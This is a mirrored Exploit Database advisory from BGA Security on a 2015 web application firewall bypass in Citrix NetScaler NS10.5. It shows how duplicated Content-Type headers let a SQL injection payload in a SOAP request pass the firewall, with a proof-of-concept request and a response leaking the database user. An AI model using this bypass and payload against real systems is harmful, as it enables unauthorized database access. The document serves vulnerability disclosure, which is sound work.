Citrix Netscaler NS10.5 – WAF Bypass (Via HTTP Header Pollution)

Exploit Database
109 阅读

作者： BGA Security

日期： 2015-03-12
类别：
- webapps
平台：
- xml
来源：https://www.exploit-db.com/exploits/36369/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

# Exploit Title: [Citrix Netscaler NS10.5 WAF Bypass via HTTP Header Pollution]

# Date: [Mar 13, 2015]

# Exploit Author: [BGA Security]

# Vendor Homepage: [http://www.citrix.com/]

# Version: [NS10.5]

# Tested on: [NetScaler NS10.5: Build 50.9.nc,]

Document Title:

============

Citrix Netscaler NS10.5 WAF Bypass via HTTP Header Pollution

Release Date:

===========

12 Mar 2015

Product & Service Introduction:

========================

Citrix NetScaler AppFirewall is a comprehensive application security solution that blocks known and unknown attacks targeting web and web services applications.

Abstract Advisory Information:

=======================

BGA Security Team discovered an HTTP Header Pollution

vulnerability in Citrix Netscaler NS10.5 (other versions may be vulnerable)

Vulnerability Disclosure Timeline:

=========================

2 Feb 2015 Bug reported to the vendor.

4 Feb 2015 Vendor returned with a case ID.

5 Feb 2015 Detailed info/config given.

12 Feb 2015 Asked about the case.

16 Feb 2015 Vendor returned "investigating ..."

6 Mar 2015 Asked about the case.

6 Mar 2015 Vendor has validated the issue.

12 Mar 2015 There aren't any fix addressing the issue.

Discovery Status:

=============

Published

Affected Product(s):

===============

Citrix Systems, Inc.

Product: Citrix Netscaler NS10.5 (other versions may be vulnerable)

Exploitation Technique:

==================

Remote, Unauthenticated

Severity Level:

===========

High

Technical Details & Description:

========================

It is possible to bypass Netscaler WAF using a method which may be called HTTP Header Pollution. The setup:

An Apache web server with default configuration on Windows (XAMPP).

A SOAP web service which has written in PHP and vulnerable to SQL injection.

Netscaler WAF with SQL injection rules.

First request: ‘ union select current_user,2# - Netscaler blocks it.

Second request: The same content and an additional HTTP header which is “Content-Type: application/octet-stream”. - It bypasses the WAF but the web server misinterprets it.

Third request: The same content and two additional HTTP headers which are “Content-Type: application/octet-stream” and “Content-Type: text/xml” in that order. The request is able to bypass the WAF and the web server runs it.

Proof of Concept (PoC):

==================

Proof of Concept

Request:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">

<soapenv:Header/>

<soapenv:Body>

<string>’ union select current_user, 2#</string>

</soapenv:Body>

</soapenv:Envelope>

Response:

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

<soap:Body>

<return xsi:type=“xsd:string”> Name: root@localhost </return>

</soap:Body>

</soap:Envelope>

Solution Fix & Patch:

================

12 Mar 2015 There aren't any fix addressing the issue.

Security Risk:

==========

The risk of the vulnerability above estimated as high.

Credits & Authors:

==============

BGA Bilgi Güvenliği - Onur ALANBEL

Disclaimer & Information:

===================

The information provided in this advisory is provided as it is without any warranty. BGA disclaims allwarranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. BGA or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages.

Domain: www.bga.com.tr

Social: twitter.com/bgasecurity

Contact: bilgi@bga.com.tr